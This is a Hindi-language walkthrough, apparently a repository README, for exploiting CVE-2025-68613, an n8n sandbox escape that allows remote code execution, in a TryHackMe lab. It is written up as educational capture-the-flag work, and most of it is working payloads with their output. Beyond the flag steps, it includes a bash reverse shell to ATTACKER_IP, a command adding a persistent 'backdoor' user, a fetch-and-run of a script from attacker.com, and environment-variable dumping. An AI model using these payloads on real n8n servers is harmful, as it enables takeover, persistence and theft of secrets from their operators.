
CVE-2025-68613 के शोषण के लिए शैक्षिक वॉकथ्रू, जो n8n वर्कफ़्लो ऑटोमेशन में एक महत्वपूर्ण RCE है। इसमें एक्सप्रेशन इंजेक्शन, सैंडबॉक्स एस्केप, पेलोड डेवलपमेंट और TryHackMe लैब के माध्यम से डिटेक्शन रणनीतियाँ शामिल हैं।
यह रिपॉजिटरी CVE-2025-68613 (CVSS 9.9) के हाथों-हाथ शोषण का दस्तावेज़ीकरण करती है, जो n8n वर्कफ़्लो ऑटोमेशन प्लेटफ़ॉर्म (संस्करण 0.211.0 से 1.120.3) को प्रभावित करने वाली एक महत्वपूर्ण रिमोट कोड निष्पादन भेद्यता है।
यह शोषण नैतिक रूप से एक नियंत्रित TryHackMe प्रयोगशाला वातावरण में केवल शैक्षिक उद्देश्यों के लिए किया गया था।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2025-68613 |
| CVSS स्कोर | 9.9 (गंभीर) |
| प्रकाशित | 19 दिसंबर, 2025 |
| प्रभावित उत्पाद | n8n वर्कफ़्लो ऑटोमेशन प्लेटफ़ॉर्म |
| भेद्यता प्रकार | एक्सप्रेशन इंजेक्शन → सैंडबॉक्स एस्केप → RCE |
| हमला वेक्टर | प्रमाणित उपयोगकर्ता (डिफ़ॉल्ट) |
| पैच किए गए संस्करण | 1.120.4, 1.121.1, 1.122.0+ |
| प्रभावित संस्करण | 0.211.0 - 1.120.3 |
n8n एक ओपन-सोर्स वर्कफ़्लो ऑटोमेशन प्लेटफ़ॉर्म है जो उपयोगकर्ताओं को कार्य स्वचालन के लिए अनुप्रयोगों और सेवाओं को दृश्य रूप से जोड़ने की अनुमति देता है। इसमें निम्नलिखित विशेषताएं शामिल हैं:
{{ }} में लिपटे गतिशील एक्सप्रेशन जावास्क्रिप्ट के रूप में मूल्यांकित होते हैंभेद्यता n8n के वर्कफ़्लो एक्सप्रेशन मूल्यांकन प्रणाली में निहित है। जब प्रमाणित उपयोगकर्ता वर्कफ़्लो कॉन्फ़िगर करते हैं, तो उनका इनपुट पर्याप्त सैंडबॉक्सिंग के बिना जावास्क्रिप्ट कोड के रूप में संसाधित होता है।
Expression Sandbox
↓ ('this' के माध्यम से भागना)
Node.js Global Context
↓ (mainModule तक पहुंच)
Module System (require)
↓ (child_process लोड करना)
System Command Execution
{{ }} में लिपटे उपयोगकर्ता एक्सप्रेशन बिना उचित संदर्भ अलगाव के कच्चे जावास्क्रिप्ट के रूप में मूल्यांकित होते हैंthis ऑब्जेक्ट तक पहुंच इच्छित सैंडबॉक्स प्रतिबंधों से भागने की अनुमति देती हैprocess.mainModule.require() Node.js मॉड्यूल सिस्टम तक पहुंच प्रदान करता हैchild_process मॉड्यूल लोड कर सकता है(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
व्याख्या:
this → Node.js वैश्विक ऑब्जेक्टthis.process → Node.js प्रक्रिया ऑब्जेक्टprocess.mainModule → n8n एप्लिकेशन का रूट मॉड्यूल.require('child_process') → सिस्टम कमांड निष्पादन मॉड्यूल लोड करें.execSync('COMMAND') → शेल कमांड को समकालिक रूप से निष्पादित करें.toString() → Buffer आउटपुट को पठनीय स्ट्रिंग में बदलेंकमजोर n8n इंस्टेंस तक पहुंचें और मान्य क्रेडेंशियल्स के साथ लॉगिन करें।
प्रयोगशाला क्रेडेंशियल्स:
[email protected]Try12345!
लॉगिन के बाद, आपको वर्कफ़्लो निर्माण इंटरफ़ेस प्रस्तुत किया जाता है। एक नया वर्कफ़्लो शुरू करने के लिए "Start from scratch" पर क्लिक करें।

"Add first step" पर क्लिक करें और "Manual Trigger" खोजें। यह नोड वर्कफ़्लो निष्पादन के लिए प्रवेश बिंदु के रूप में कार्य करता है।

उद्देश्य: मैनुअल ट्रिगर नोड UI में "Execute workflow" बटन के माध्यम से वर्कफ़्लो के मैन्युअल निष्पादन की अनुमति देता है, जो परीक्षण के लिए आदर्श है।
फ़ील्ड मैपिंग करने के लिए एक "Edit Fields" नोड जोड़ें। यहीं पर भेद्यता का शोषण किया जाता है।

कॉन्फ़िगरेशन चरण:
id कमांड को निष्पादित करने और उपयोगकर्ता/विशेषाधिकार जानकारी प्राप्त करने के लिए पेलोड इंजेक्ट करें।
पेलोड:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
परिणाम:
uid=1000(node) gid=1000(node) groups=1000(node)

प्राप्त जानकारी:
ls कमांड निष्पादित करने और निर्देशिका सामग्री को सूचीबद्ध करने के लिए पेलोड संशोधित करें।
पेलोड:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

आउटपुट दिखाता है:
flag.txtशोषण पूरा करने के लिए cat कमांड का उपयोग करके फ़्लैग फ़ाइल पढ़ें।
पेलोड:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
फ़्लैग प्राप्त:
THM{n8n_exposed_workflow}

नियंत्रण के लिए इंटरैक्टिव शेल पहुंच स्थापित करें:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
निरंतर पहुंच के लिए एक नया सिस्टम उपयोगकर्ता जोड़ें:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
दूरस्थ कोड लाएं और निष्पादित करें:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
sudo विशेषाधिकारों की जांच करें:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
पर्यावरण चर निकालें:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
विश्लेषण के लिए अपने प्रॉक्सी को अनुरोध निकायों को लॉग करने के लिए कॉन्फ़िगर करें: